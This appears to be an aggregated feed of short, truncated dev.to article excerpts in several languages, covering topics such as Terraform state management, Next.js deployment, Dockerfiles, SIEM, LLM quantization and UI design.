    Muita gente acha que governança trava inovação. Na real, ela cria segurança para ousar. Por que governança é essencial? Dá clareza de responsabilidades Cria regras de acesso e uso de dados Permite monitoramento contínuo Evita que experimentos virem caos em produção Exemplos práticos Permitir que makers criem bots, mas em ambientes isolados Revisar periodicamente agentes com muito acesso Usar DLP para impedir vazamento de dados sensíveis Segurança e privacidade Controles no Power Platform Admin Center Microsoft Purview para auditoria Revisão de logs no Microsoft Sentinel 🔗 Links úteis Microsoft Purview Overview: https://learn.microsoft.com/microsoftpurview?utm_source=chatgpt.com Power Platform Governance: https://learn.microsoft.com/power-platform/admin/?utm_source=chatgpt.com Você prefere inovar livremente sem rede de proteção ou criar com segurança sabendo que não vai se queimar? Obrigado por sua leitura!  ( 6 min )
    How to build product filters that actually work
    Good product filters are invisible when they work well and super annoying when they don’t. Almost everyone has rage‑clicked their way through a bad filtering system, wondering why nothing seems to match what they actually want. The first step is understanding how people think about your products. Are they comparing by price, size, color, category, use case, or something else? Talk to users, watch how they browse, and notice what questions they ask before deciding. Those mental criteria should guide your filter options. When you're selling products online, clutter is the enemy. If you offer 25 different filters on one side of the page, most people will ignore them. Start with the essentials — maybe price range, category, and 2–3 key attributes that really matter. You can always add advanced filters in a collapsible section for power users. The language you use for filters matters, too. Technical or internal terms confuse people. Labels should match the words your customers naturally use, not whatever’s in your database schema. If someone says “hoodie,” don’t make them choose between “fleece top” and “mid‑layer garment.” Speed is another big factor. Filters should respond quickly, ideally without making the user reload an entire page every time they click something. If there are no matching results, say that clearly and give a way to reset or adjust filters instead of just showing an empty grid. Order also plays a role. Putting the most commonly used filters at the top and grouping related options together makes the whole experience feel calmer. Testing different layouts with actual users — even informally — can reveal surprising preferences. When filters are thoughtfully designed, shopping feels more like “finding what fits me” and less like “fighting a website.” That calmness turns casual browsers into confident buyers.  ( 7 min )
    Building a production ready SaaS starter with Next.js 16: what actually took the longest
    When people talk about building a SaaS, the focus is often on the core idea. In reality, most of the time disappears into the same invisible foundation work that never shows up in demos. Landing pages. Before any real feature exists, weeks are already gone. We recently built a production ready SaaS starter on top of Next.js 16, and I want to share what actually took the longest time, what broke in production, and what we would do differently if we started again today. 1. Authentication was not the hard part. The edge cases were Setting up basic email and OAuth login was easy. The real pain started with everything around it. Session refresh across server components Token sync between API routes and middleware Handling partial OAuth profiles Account linking edge cases Deleting users and casc…  ( 8 min )
    🎨 The Day a Single Shade Taught Me Why Pantone to HEX Conversion Is a Big Deal
    A few weeks ago, I was helping a close friend set up her new online store. She sells handmade soaps, each one carefully crafted with pastel colors that look like they came straight out of a mood board. For her website, she wanted everything to feel soft, warm, and comforting. She handed me a Pantone card—a dusty rose shade she absolutely adored. I took the card home, held it under my desk lamp, admired the texture and warmth of the shade… and then made the mistake almost every digital designer makes at least once. I guessed the HEX value. And you can already predict what happened next. The website went live, she opened it on her phone, and said, And honestly? She was right. Pantone colors do not magically match their HEX equivalents. That’s when it hit me how important accurate Pantone-to-…  ( 7 min )
    ActiveFields: Search
    I've been working with ActiveFields, a gem for handling dynamic fields using the Entity-Attribute-Value (EAV) pattern. One of the challenges with EAV is querying those custom fields efficiently. ActiveFields includes a search feature that handles this, and I thought I'd share how it works. When you store custom fields in an EAV pattern, searching becomes tricky. You need to handle type casting, field-specific operators, and construct queries efficiently. ActiveFields provides a unified search interface that supports all built-in field types. The main method is where_active_fields, which supports all 13 built-in field types with type-specific operations. The method accepts three different input formats: 1. Array of Hashes - useful for programmatic queries: Post.where_active_fields([ { nam…  ( 9 min )
    30 days without AI: what I learned when I finally used my brain again
    I quit AI for 30 days and found something I didn’t expect: my brain still had opinions. I didn’t plan to quit AI for 30 days. It just sort of… happened after I made a ranty video about why AI coding feels wrong lately. You know the type the “Copilot just hallucinated an entire database schema again” vibe. At the end of that video, I said I’d take a month-long break from AI tools. Viewers dared me to actually do it. My pride said “yeah, easy.” My brain, on day one, immediately disagreed. Because for the past couple years, AI has slipped into my workflow the way energy drinks slip into a LAN party: quietly at first, then suddenly you feel like you can’t function without it. Autocomplete becomes a reflex. Explaining bugs to ChatGPT becomes emotional therapy. And when you disable all of it, y…  ( 12 min )
    Modern Web Design Styles Every Frontend Developer Must Know (2025 Guide) Part 2
    👉 Part 1 available here: https://dev.to/homayounmmdy/modern-web-design-styles-every-frontend-developer-must-know-2025-guide-1ijl Web design doesn’t stop at glass or soft UI. The more you explore, the more you realize that modern interfaces borrow inspiration from art, technology, gaming, and even physics. This second part continues our journey through the most exciting design trends that every frontend developer should understand in 2025. 7. Mesh Gradients Abstract, fluid blends of multiple colors. Smooth color transitions Rounded soft forms “Dreamy” visuals Great for artistic aesthetics Hero sections, landing pages, posters, personal portfolios. Mesh gradients immediately make content look modern and premium, especially when paired with minimal typography. 8. Aurora / Blurred Light Gr…  ( 7 min )
    The Modern Web Stack Explained
    In 2025, the "Modern Stack" of Next.js, Tailwind CSS, and API-first development has become the industry standard for building scalable, high-performance web applications. Next.js serves as the backbone, offering a hybrid architecture that blends the speed of server-side rendering with the interactivity of client-side React, while its App Router simplifies complex routing and data fetching. Tailwind CSS complements this by enabling a utility-first workflow that streamlines responsive design directly within the markup, significantly reducing context-switching and development time. Finally, the shift toward an "API Economy" means developers are increasingly orchestrating specialized services—for authentication, content, and payments—rather than building monolithic backends, making proficiency in asynchronous data handling and state management a critical skill for the modern frontend engineer.  ( 6 min )
    The Dockerfile mistakes even senior devs make (and yes, I learned them the the hard way)
    I swear every time I open a Dockerfile, I get the same feeling as when I open my fridge at night: I know something cursed is in there, I just don’t know where it’s hiding. Dockerfiles are like the “draw the rest of the owl” meme for developers. One minute everything is fine, the next you’re staring at a 3GB image that takes longer to build than Baldur’s Gate 3’s character creator. Anyway this whole article started because last week, during a perfectly normal deploy, the container image ballooned from 900MB to 1.7GB after merging one “small change.” And by “small,” I mean someone added a single RUN command that installed half of Ubuntu. A senior dev did that. A good senior dev. A senior dev who I would trust with my production database but apparently not with apt-get . And it reminded me of…  ( 10 min )
    Qeltrix V4: The AES256-GCM Evolution and Breaking Changes
    A Major Cryptographic Upgrade for Modern Security Standards Posted by Muhammed Shafin P (HejHdiss) | Qeltrix Project Lead I'm excited to announce Qeltrix V4, a focused cryptographic upgrade that marks a significant milestone in the Qeltrix ecosystem. This release represents a deliberate break from backward compatibility in favor of adopting industry-standard, hardware-accelerated encryption that meets modern security requirements. AES256-GCM as the Core Cipher V4 makes a fundamental shift from ChaCha20-Poly1305 to AES-256-GCM (Advanced Encryption Standard with Galois/Counter Mode) as the sole bulk encryption algorithm. Why AES256-GCM? Industry Standard: Widely vetted, NIST-approved, and certified for government use Hardware Acceleration: Native CPU support via AES-NI on modern processors…  ( 18 min )
    Day 4 - Terraform State File Management with Remote Backends (S3 Native Locking)
    Terraform relies on a state file to understand the infrastructure it manages. Instead of constantly querying cloud providers which is slow, expensive, and inefficient Terraform stores the current state of your resources locally or remotely. This file acts as Terraform’s “source of truth,” enabling it to detect changes, manage dependencies, and apply updates safely. Terraform’s state file records the attributes and relationships of your deployed resources. It allows Terraform to: Compare desired configuration vs. actual infrastructure Generate accurate execution plans Track dependencies between resources Enable collaboration across teams Because Terraform relies heavily on this file, keeping it secure and consistent is critical. To avoid corruption, security risks, or inconsistent deploymen…  ( 7 min )
    Stop Overcomplicating RAG: Why I Built a "Memory Server" on Postgres (and Open Sourced It)
    Building AI agents is fun. Building the long-term memory (RAG) infrastructure for them? Not so much. Every time I started a new side project, I hit the same "Boilerplate Wall": Spin up a Vector DB (Pinecone/Weaviate). Write the embedding pipeline logic. Figure out chunking strategies. Debug why the agent retrieves context from 3 months ago instead of yesterday. I realized I was spending 80% of my time on plumbing and only 20% on the actual agent. So, I decided to abstract it all away. I built MemVault, a "Memory-as-a-Service" API wrapper around PostgreSQL + pgvector. Here is why I chose this architecture, how the hybrid search algorithm works, and why I built a visualizer to debug the "black box". I didn't want another expensive SaaS subscription, and I didn't want to manage a complex …  ( 8 min )
    Full Guide on Choosing Salesforce Partners in Sweden
    Choosing a partner for Salesforce in Sweden can make a big difference in how well your CRM journey works. From picking the right provider to making sure implementation, integration and support go smoothly, the right local team sets you up for long-term success. This guide covers the structured overview of the Swedish Salesforce market, a checklist for evaluating providers, a top-10 list of Sweden-based partners, a list of the top consulting firms, leading Swedish AppExchange solutions, potential red flags, and answers to the most common questions when hiring Salesforce experts in Sweden. Whether you are adopting Salesforce for the first time or looking to optimize an existing setup, this article will help you make an informed decision. Overview of the Salesforce Market in Sweden Criteria f…  ( 15 min )
    prueba
    const forlan = { name: "Forlan", role: "Frontend Developer", description: "Creo interfaces limpias, rápidas y con buena experiencia de usuario.", languages: ["JavaScript", "TypeScript"], frontend: [ "HTML", "CSS", "TailwindCSS", "React", "React Router", "React Hook Form", "React Query", "Zustand", "Next.js", "NextAuth" ], backend: ["Express", "MySQL", "MongoDB", "Axios", "Prisma"], tools: [ "Git", "NPM", "Postman", "Vite", "VSCode", "VSCodium", "Linux", "Figma", "ChatGPT", "Vercel" ], softSkills: ["Creatividad", "Disciplina", "Comunicación", "Resolución de problemas"], focus: ["React", "Next.js", "UI/UX", "Responsive Design"], learning: ["Next.js", "Integración de APIs", "TypeScript"] };  ( 6 min )
    Exterior Shutters for House Exteriors: How to Choose and Install
    The role of exterior shutters in curb appeal and protection Exterior shutters balance form and function. They enhance architectural character and offer an extra layer of protection for windows. Whether your home is historic or newly built, shutters add depth to the façade and can be tailored to complement trim, siding, and roofline. Traditional louvered shutters provide ventilation and a classic look, paneled shutters read as more substantial and formal, and board-and-batten shutters convey rustic charm. Choose a profile that complements your home’s architectural language. The slat size, frame profile, and panel detailing all influence how the shutter integrates with the overall design. Exterior shutters for house should appear as if they belong to the window. Measure to ensure shutters …  ( 7 min )
    My BCG X GenAI Job Simulation: Building a Financial Analysis Chatbot & Key Learnings
    How a virtual internship sharpened my skills in data wrangling, business logic, and user-centric AI development. From Theory to (Simulated) Practice We all have projects in our portfolios, but how do we know if they truly reflect the skills needed in a real-world, high-stakes environment? That was my goal when I completed the BCG X GenAI Job Simulation on Forage. The task was classic BCG: practical, business-focused, and impactful. I was challenged to build a functional prototype of a Generative AI tool for financial statement analysis. This wasn't just about writing code; it was about creating a solution that a consultant could use to quickly derive insights from complex company data. In this article, I'll walk you through the project and, more importantly, the core skills…  ( 9 min )
    Cloudflare's November 18 Outage – A Continuous Delivery Perspective
    On November 18th, 2025, Cloudflare had what they describe as their worst outage since 2019. It didn't start with a cyber attack or massive hardware failure. It started with a database permissions change. This is exactly the sort of thing Continuous Delivery is supposed to make safe. So since the post-mortem came out I wanted to analyze it through a CI/CD lens. Around 11:20 UTC, Cloudflare’s network started returning a huge spike of HTTP 5xx errors for traffic flowing through their core network. Users all over the Internet started seeing Cloudflare error pages instead of the sites they were trying to visit. The root cause was a change to how one of their ClickHouse database clusters handled permissions and metadata. Here’s the rough chain of events: Cloudflare deployed a change to ClickHous…  ( 11 min )
    🚜 Farmore — Mirror Every GitHub Repo You Own in One Command
    Most developers rely on GitHub as the single source of truth for their work. That’s fine—until it isn’t. Repos get deleted, teams reorganize, permissions change, and old code quietly disappears. Farmore solves that problem in the simplest way possible: It backs up everything you own on GitHub in one go. No platform dependence. No manual cloning. No “I’ll do it later.” Just a complete mirror of your GitHub activity saved locally, whenever you want it. Farmore’s goal is straightforward: Give developers an easy, reliable way to back up their GitHub repos and related data. Here’s what it brings to the table: 1. Automatic full-account backups Tell Farmore whose account you want to back up—yours or an organization’s—and it pulls all repositories for you. Public, private, starred, watched, f…  ( 7 min )
    Prototipagem rápida com Figma
    ## Ferramentas de Protótipo: O Segredo para um Design de Sucesso O design de produtos digitais evoluiu, e com ele, as ferramentas que utilizamos. Hoje, a prototipagem não é apenas uma etapa, mas sim o coração do processo de design. Neste artigo, exploraremos as ferramentas essenciais para prototipar, colaborar e exportar assets, garantindo um fluxo de trabalho eficiente e resultados incríveis. Protótipos Interativos: Dando Vida às Suas Ideias A prototipagem é a arte de criar versões funcionais de um produto, permitindo testar e refinar ideias antes de investir tempo e recursos no desenvolvimento. As ferramentas modernas oferecem recursos incríveis para transformar wireframes estáticos em protótipos interativos e realistas. Figma: Considerada uma das ferramentas mais populares, o Figma se…  ( 7 min )
    Integrating Real-Time Alerts for AI Agent Performance Monitoring
    Integrating Real-Time Alerts for AI Agent Performance Monitoring TL;DR Real-time alerts enable teams to detect and resolve AI agent performance issues before they impact users. Organizations deploying AI agents need to maintain response accuracy above 95% and task completion rates above 90% to ensure reliable operations. Effective alert systems combine automated anomaly detection, tiered notification workflows, and integration with observability platforms to reduce mean time to detection (MTTD). This guide covers essential alert configuration strategies, key performance thresholds, and integration patterns that help AI engineering teams ship reliable agentic applications faster. AI agents operate autonomously, making decisions and interacting with external systems in ways that…  ( 13 min )
    Snap-Test.in Is Live! A Simple & Powerful Fake API Service for Developers
    🚀 Introducing Snap-Test.in — A Simple Fake API Service for Testing & Frontend Development I’m excited to share Snap-Test.in, a clean and beginner-friendly platform that provides ready-to-use fake APIs — similar to reqres.in, but with more flexibility and modern features. If you’re building a frontend, testing an app, or teaching API integration, Snap-Test.in gives you instant sample APIs without any backend setup. 👉 Try it here: Snap-Test.in 👉 Works perfectly with React, Vue, Angular, Flutter, Postman & automation tools 🔥 What You Can Do with Snap-Test.in ✔ Ready-made sample endpoints (Users, Auth, XML, GraphQL, Files) Just like reqres.in — but with more formats, cleaner UI, and advanced mock features. 🎯 Built for Developers, Testers & Students Snap-Test.in makes API learning and testing effortless: ❌ No signup Just plug the API URL → test → build. If you're building a demo or practicing API calls, give Snap-Test.in a try: 👉 Snap-Test.in Feedback and suggestions are always welcome! 🚀  ( 6 min )
    What Is SIEM? Understanding Its Role in the Modern Cybersecurity Ecosystem
    In today’s hyper-connected world, organizations generate an overwhelming amount of data—from user activity and network traffic to application logs and cloud telemetry. Hidden in that data are the early warning signs of cyber threats. The challenge is making sense of it all. That’s where SIEM, or Security Information and Event Management, enters the picture. A SIEM platform acts as the central nervous system of an organization’s security operations. It collects, correlates, and analyzes security events from across your entire IT and OT environment, helping security teams detect threats, investigate incidents, and maintain compliance. But SIEM isn’t just a tool—it’s a strategic component of the broader cybersecurity stack. What Exactly Is SIEM? A SIEM system performs three fundamental func…  ( 8 min )
    Why Cutout Works (Even Though It Looks Like Sabotage)
    What is Cutout? Cutout might be one of the few augmentations that looks wrong at first glance. A square. Introduced in 2017, Cutout asks a bold question: “What if we deliberately hide a portion of your training data and force the model to deal with it?” No fancy tuning. Why does removing information help? Deep networks love shortcuts. Cutout’s mask breaks those shortcuts. By erasing a random portion of each training sample: Local features cannot be fully trusted The model must build distributed, global representations Robustness improves because inference almost always sees unmasked images This “forced generalization” effect is surprisingly effective, especially on small/medium datasets. Why doesn’t Cutout ruin training? Two reasons: The masked region is small relative to the full image Occlusion is consistent with real-world noise It’s structured chaos. When does Cutout struggle? Cutout begins to underperform when: Fine-grained details matter The masked region wipes out key class-defining features The dataset already contains natural occlusion The mask size is tuned poorly Still, as a single-component augmentation, Cutout remains remarkably useful and computationally near-free. Conclusion Cutout is the simplest form of feature dropout: Next up: CutMix, the augmentation that asked: “What if we don’t remove pixels… but replace them with pixels from another image?”  ( 7 min )
    Color Theory in UI Design: From Basics to Advanced Palettes
    Color Theory in UI Design: From Basics to Advanced Palettes Color is one of the most powerful tools in UI design. Choosing the right palette can dramatically impact usability, accessibility, and overall user experience. In this blog, you’ll learn: ✅ Color fundamentals: hue, saturation, and brightness ✅ Creating harmonious color palettes ✅ Accessibility tips for better contrast ✅ Advanced techniques for modern UI design Whether you’re designing a simple website or a complex web app, these principles will help you create visually stunning and user-friendly interfaces. 👉 Try our Color Palette Generator to experiment with colors instantly. Read the full guide here: frontendtools.tech/blog/color-theory-ui-design UIDesign #Frontend #WebDevelopment #ColorTheory #DesignTools  ( 6 min )
    7 Ways to Create High-Quality Evaluation Datasets for LLMs
    7 Ways to Create High-Quality Evaluation Datasets for LLMs TL;DR Building robust evaluation datasets is fundamental to developing reliable LLM applications. This article explores seven proven methods: leveraging production logs, implementing human annotation workflows, generating synthetic data, extracting domain-specific data from knowledge bases, using open-source benchmarks, employing red-teaming techniques, and continuously iterating based on failure analysis. Each approach addresses specific evaluation needs while ensuring dataset quality, diversity, and alignment with real-world user interactions. Evaluation datasets serve as the foundation for measuring and improving LLM application performance. Without high-quality test data, teams lack the visibility needed to identif…  ( 13 min )
    How-to: Say you have a data lake
    Say you have a data lake. How do you get known-good CSV or Excel files into it? CsvPath Framework has a few options: Locate the archive on the local disk, within the lake Use a backend to stream to the lake during processing Use the SFTP integration to forward files after processing is done Use transfer-mode to forward files after processing All good options. Each serves particular use cases, though with quite a bit of overlap. Local processing is of course the fastest, so making CsvPath Framework essentially be the bronze layer of a local data lake is common. In this scenario, the archive(s) are the part of the lake that handle data files. Alternative, any remote backend (s3://, azure://, gs://, sftp://) can receive data as it is generated. That is a notably slower option because of netw…  ( 8 min )
    Bicep / ARM vs Terraform
    Bicep and ARM templates are Terraform alternatives, but only within the Azure ecosystem. Bicep / ARM vs Terraform — What’s the difference? Bicep Azure-specific DSL for IaC. Compiles into ARM templates. First-class support by Microsoft. Best choice if you're 100% Azure and want: Tight integration with Azure Fast updates when new Azure features come out Simple syntax compared to ARM JSON ARM Templates Low-level JSON IaC for Azure. Verbose & harder to maintain. Bicep is meant to replace writing ARM JSON manually. Terraform Cloud-agnostic IaC tool. Works with Azure, AWS, GCP, VMware, Kubernetes, etc. Uses HCL (HashiCorp Configuration Language). Great for: Multi-cloud environments Advanced orchestration Rich ecosystem of providers & modules So is Bicep an alternative to Ter…  ( 7 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins breaks down every laughable plot twist and CGI hiccup in the new KPop Demon Hunters movie, running through their trademark “sins” in under 16 minutes of snarky commentary. Along the way they shout out their main site (cinemasins.com), offer a poll, Patreon link and a host of social channels (Twitter, Instagram, TikTok, Discord, Reddit), and introduce their small but mighty team of writers. Watch on YouTube  ( 6 min )
    The Future of Cyber Resilience for Complex AWS Environments is Here
    2025 has seen the cloud landscape continue to evolve at an extraordinary pace. As organizations accelerate their AI, analytics, and digital transformation workloads, many of us are experiencing a significant increase in complexity. Systems are becoming more distributed, with workloads spread across multiple regions, accounts, and vendors. With complexity comes fragmentation, and a sharp rise in risk around cyber threats, identity compromise, and multi-cloud governance, leading many of us to wonder how to maintain visibility across disparate systems as well as how to handle protection, resilience, and recovery at scale. This is why I was excited to learn about some of the latest announcements and releases from Commvault, announced at SHIFT 2025. Most organizations’ AWS environments have g…  ( 8 min )
    🚀Terraform State File Management with AWS S3
    🧩 What Is the Terraform State File? Whenever Terraform builds your AWS infrastructure, it needs a way to remember what it created. terraform.tfstate This file tracks: EC2 instances S3 buckets IAM roles Databases And their metadata Terraform uses this file to compare: Desired State (your .tf files) Actual State (what exists in AWS) ❌ Why You Should NOT Store State Files Locally AWS account IDs Secrets Passwords ARNs Keeping it on your laptop? Yeah… risky. Local state = conflicts, overwrites, broken infra. If your laptop dies or state file is deleted, Terraform loses track of your cloud resources. ☁️ The Solution: Remote Backend Using AWS S3 Benefits include: ✔ Secure, encrypted storage 🛠️ How to Configure AWS S3 Remote Backend Step 1: Create S3 Bucket (Outside Terraform) Never create th…  ( 7 min )
    Why the Directory Is the Core of IAM: The Digital Heartbeat of Every Organization
    In a world where businesses run on SaaS, APIs, cloud apps, and hybrid environments, Identity and Access Management (IAM) has become one of the most foundational pillars of enterprise security. Everyone talks about MFA, SSO, Zero Trust, role-based access, and least privilege but surprisingly few talk about the real center of IAM: The Directory. Your directory isn't just an address book. Think of IAM as a living organism: Policies are the brain Workflows are the muscles Applications are the organs Authentication is the pulse And the Directory is the heart Without the heart, nothing moves. The Directory Is the Source of Truth (SOT) for Identity Every identity decision starts with a single question: User profiles Attributes (department, title, location) Group memberships Security identifiers D…  ( 8 min )
    How n8n Automates Contract Review and Approvals
    Legal teams handle more contracts than ever before. As your caseload grows, manual tasks start slowing down your entire operation. Simple activities like routing documents, gathering comments, tracking approvals, and keeping every version updated can take hours of unnecessary effort. When your team relies on emails and spreadsheets, contracts move unevenly and delays become unavoidable. This is exactly why more legal teams now look for practical ways to reduce repetitive work and keep contract cycles predictable. Contract automation helps you avoid these issues and gives your team more time to focus on actual legal work. n8n makes this possible by turning routine processes into smooth, rules based workflows that require very little manual involvement. Even experienced legal teams struggle…  ( 8 min )
    Блогер нашёл способ воспроизводить на PS5 содержимое обычных компакт-дисков
    Автор YouTube-канала Will It Work нашёл способ воспроизводить на PlayStation 5 содержимое обычных компакт-дисков. Для этого нужен Первые поколения PlayStation воспроизводили компакт-диски и служили пользователям универсальными медиацентрами. В PlayStation 4 поддержку Audio CD и Video CD убрали. Компания сделала ставку на стриминговые сервисы. Поколение PS5 тоже официально не воспроизводит Audio CD, но открывает различные форматы музыки с USB-накопителя. Блогер выяснил, что если записать диск в формате Data CD и подключить его к консоли с помощью внешнего USB-дисковода, то система будет считать его USB-накопителем. Можно будет просматривать файлы и воспроизводить музыку с помощью встроенного медиаплеера  ( 6 min )
    Introducing LeanSpec: A Lightweight SDD Framework Built from First Principles
    Earlier this year, I was amazed by agentic AI coding with Claude Sonnet 3.7. The term "vibe coding" hadn't been coined yet, but that's exactly what I was doing—letting AI generate code while I steered the conversation. It felt magical. Until it didn't. After a few weeks, I noticed patterns: code redundancy creeping in, intentions drifting from my original vision, and increasing rework as the AI forgot context between sessions. The honeymoon was over. I needed structure, but not the heavyweight processes that would kill the speed I'd gained. That search led me through several existing tools—Kiro, Spec Kit, OpenSpec—and eventually to building LeanSpec, a lightweight Spec-Driven Development framework that hits v0.2.7 today with 10 releases in under three weeks. This post shares why I built it…  ( 10 min )
    🧑‍🚀 LLM Engine Telemetry: How to Profile Models and See Where Performance is Lost
    “Any LLM is an engine. It can be massive or compact, but if you don't look at the telemetry, you'll never understand where you're burning energy inefficiently.” When engineers discuss LLM performance, three key phases are most often mentioned: Tokenization latency TTFT (Time To First Token) tokens/sec But it's easier to think of it this way: An LLM is an engine, and the profiler is its dashboard. The rest is visible through the readings—and we're about to break them down. Just like in real machinery: Startup is always more expensive than the cruising phase, Different engine components consume energy differently, The true picture is only visible through telemetry. 👨‍🚀 Caption: "Before launch—rely only on the instruments" We are launching the GPT-2 model in three scenarios: Short prompt Me…  ( 9 min )
    Easy Introduction to HybridTree Korean-backend AGI Technical Comparison: HybridTree vs Traditional LLMs
    Easy-to-Understand What Is HybridTree Korean-backend AGI? Why the Korean Backend Matters Example of Korean’s compact semantic–emotional structure What HybridTree Korean-backend AGI Can Be Used For How It Differs From Traditional LLMs Why This Matters for the Future Final Summary HybridTree Korean-backend AGI vs Traditional LLMs: HybridTree introduces a Korean semantic–emotional backend that processes meaning, nuance, and context as a unified cognitive unit. 1) Language-Structural Differences (Cognitive Core Layer) -Language Type -Expression Density -Ambiguity Resolution -Emotional Encoding -Micro-context Awareness 2) Algorithmic / Engine-Level Differences -Input Transformation -Reasoning Mode -Branching Thought -Energy Efficiency -Noise Sensitivity 3) Performance & Applicati…  ( 10 min )
    What Are the Key Considerations for Building a Secure Investment Platform?
    Building an investment platform is not only about charts, order tickets and a beautiful portfolio screen. Behind every “Buy” button, there is a combination of security, regulation, infrastructure and user trust. A failure in any of these areas can lead to financial loss, regulatory scrutiny and long term damage to your brand. For developers and technical leaders on dev.to, it helps to think about a secure investment platform as a set of layers. Each layer has its own risks and responsibilities. The first contact point is onboarding. It is both a UX and a security challenge. Key questions: Who is allowed to open an account? How do you verify that the person is who they claim to be? How is access to the platform protected over time? Practical considerations: Strong KYC and identity verificat…  ( 9 min )
    The three cloud giants down in 30 days what’s actually going on?
    There’s a special kind of silence that hits a dev team when the internet goes down. Not your local Wi-Fi, not your ISP having a moment I mean when the actual fabric of the web suddenly decides it needs a long nap. And for some reason, this past month felt like watching three raid bosses take turns unplugging the server. First AWS stumbled. Then Azure tripped over its own identity layer. And now Cloudflare the company that literally markets itself as “the internet’s immune system” managed to yeet half the web off the map for a while. If you were online, you felt it. If you were on-call, my condolences. If you were an SRE… well, you probably already have the thousand-yard stare. Somewhere out there, an SRE bingo card is now fully stamped. Here’s the thing we don’t like admitting: these compa…  ( 13 min )
    Run Big LLMs on Small GPUs: A Hands-On Guide to 4-bit Quantization and QLoRA
    Save the planet and adapt the LLM to your use-case! The process of reducing a Large Language Model (LLM) to FP4 (4-bit Floating Point) precision is a quantization technique primarily used to drastically decrease the memory required and accelerate inference (text generation), allowing larger models to be run on less powerful hardware, such as a single desktop GPU. Practically, this is typically achieved by utilizing specialized libraries — like bitsandbytes—that integrate directly with machine learning frameworks such as PyTorch and the Hugging Face Transformers library. This technique directly supports a “greener” or more sustainable AI approach by significantly reducing the energy consumption required during the model’s inference phase. Since 4-bit quantization reduces the model’s size b…  ( 16 min )
    Best Mobile Device Management Providers for Android & iOS Fleets in 2025 (Top MDM Solutions Compared)
    As someone who works directly with businesses juggling lots of smartphones and tablets, I've tried my fair share of mobile device management (MDM) solutions-especially for mixed Android and iOS fleets. Managing all those devices never gets any easier, and keeping them secure, compliant, and easy to use is critical for everyone from law firms to engineering startups. I wanted to see which MDM tools actually worked in real-world business settings and which ones caused more headaches than they solved. Please note: This content utilizes AI writing technology and may include businesses I'm affiliated with. So I spent weeks hands-on with the top MDM providers for 2025. I didn’t just look at feature lists-I put each one to work in realistic onboarding, app management, compliance, and support scen…  ( 11 min )
    How To Attach A Data Disk To A Virtual Machine And How To Initialize It
    What is a data disk? A data disk is a storage disk attached to a computer or virtual machine(VM) for the purpose of storing data. Now, let us learn how we can attach a data disk to a Virtual Machine in few simple steps. 1.Come to the overview of your Virtual Machine and click settings and select disk 2.Your screen will display OS disk and Data disk. Click +create and attach a new disk 3.Come down to LUN (Logical Unit Number) 4.Your screen will display creating a data disk follow by successfully created a data disk and follow by Updated virtual machine Wow! you just learn how to attach a data disk to a virtual machine. Adding a data disk to a Virtual is not enough but it must also be Initialized before it can be usable. What does it mean to initialize a data disk? The following steps explain how a data disk is initialized 1.Come down to the Search bar at the left Corner of virtual Machine and type disk and select create and format hard disk partitions 2.Click OK to initialize your data disk You still can't use it because it is still showing unallocated. scroll up, right click on the disk and *select new simple volume * 4.Click Next Next Next 7.Now it says perform a quick format. This where we are going to format the data disk. disk1 then, click next 8.Click finish This is the final stage. You have successfully added a data disk to your Virtual Machine, you have initialized it and the data disk is now Healthy and ready for use. Thanks for reading. Do not forget to like, comment, share and follow. Your questions are equally welcome.  ( 7 min )
    Multicloud: Freedom or a Fancy Form of Chaos?
    A simple sanity matrix for DevOps teams deciding between flexibility and focus. The freedom pitch You’re in the middle of a sprint review, sipping cold coffee and pretending the deployment pipeline isn’t held together by three YAML files and pure willpower, when someone from leadership leans back in their chair and says the words every DevOps engineer secretly fears: “What if we went multicloud? You know… for resilience.” There’s always this pause afterward like the whole room is waiting for someone else to say something responsible. But nobody does, because we all know exactly what happens next. One day you’re happily living in AWS-land, and the next you’re fumbling between GCP dashboards wondering why IAM roles suddenly feel like a final exam you didn’t study for. I’ve lived that moment…  ( 15 min )
    Day 2 : The Knowledge of Terraform Providers
    Terraform is a binary that has no clue where or what to provision. All that it does, all its buckets, all its VPCs, all its resources, would not occur at all without a provider knowing how to communicate with a particular API. Role of Providers (The Real Terraform Workhorse): Those definitions as well as the way to send API calls to AWS are provided by AWS provider plugin. There are three important things that a provider does: Explorers are in between your Terracode and the AWS API. What developers are used to disregarding was pointed out: I today had to practice pulling configuration blocks out of the docs as opposed to guessing. This immediately minimizes errors and version conflict. Provider Versioning: Unless you pin versions, your setup may you give silent failure on a later terraform init. = 1.2, < 2.0 - version range In a modern day, I configured my AWS provider in the following way: This is so that Terraform pulls only compatible plugins. Identifying Terraform with AWS (Credential Setup): Entered: After writing my config, I ran: terraform plan: terraform { provider "aws" { resource "awsvpc" "example" { This gets Terraform ready to make a new VPC with provider of Amazon. Tomorrow we continue with the Terraform process: Learning terraform plan in depth. Developing real AWS resources. Viewing the Terraform choices of things to provide. The changes of state file during the creation of resources.  ( 7 min )
    From Localhost to Live: A Practical Guide to Deploying a Next.js App on AWS EC2 (With Common Errors & Fixes)
    Deploying a Next.js application to an AWS EC2 instance is a common production pathway for modern web apps. However, while the deployment process looks straightforward, developers often encounter issues with SSH access, Linux permissions, missing libraries, Nginx conflicts, and more. This guide outlines a clean, step-by-step method to deploy a Next.js frontend to an Ubuntu EC2 instance—along with the most common errors you may encounter and how to resolve them. Infrastructure Overview Cloud Platform: AWS EC2 (Ubuntu) Frontend: Next.js (React) Runtime: Node.js (installed via NVM) Process Manager: PM2 Reverse Proxy: Nginx Local Machine: Windows (with WSL Ubuntu terminal) Step 1: Connect to EC2 via SSH After launching the EC2 instance, the first task is to connect through SSH using your .pem k…  ( 8 min )
    How to use Cursor to Generate API Testcases in Requestly
    API testing is one of those tasks every developer knows is essential, but few enjoy. Manually writing test cases for every endpoint is repetitive, error-prone, and consumes valuable time that could be spent building features. Edge cases are often skipped, test coverage suffers, and teams frequently find themselves maintaining brittle scripts. That’s where automation changes the game. By pairing Cursor, an AI-powered coding assistant, with Requestly's local-first API testing and mocking platform, you can offload the grunt work of writing tests to AI while keeping execution secure and reproducible on your own system. In this article, we’ll walk through how to set up Cursor with Requestly, generate test cases automatically, and run them end-to-end so that you can focus less on boilerplate and…  ( 12 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
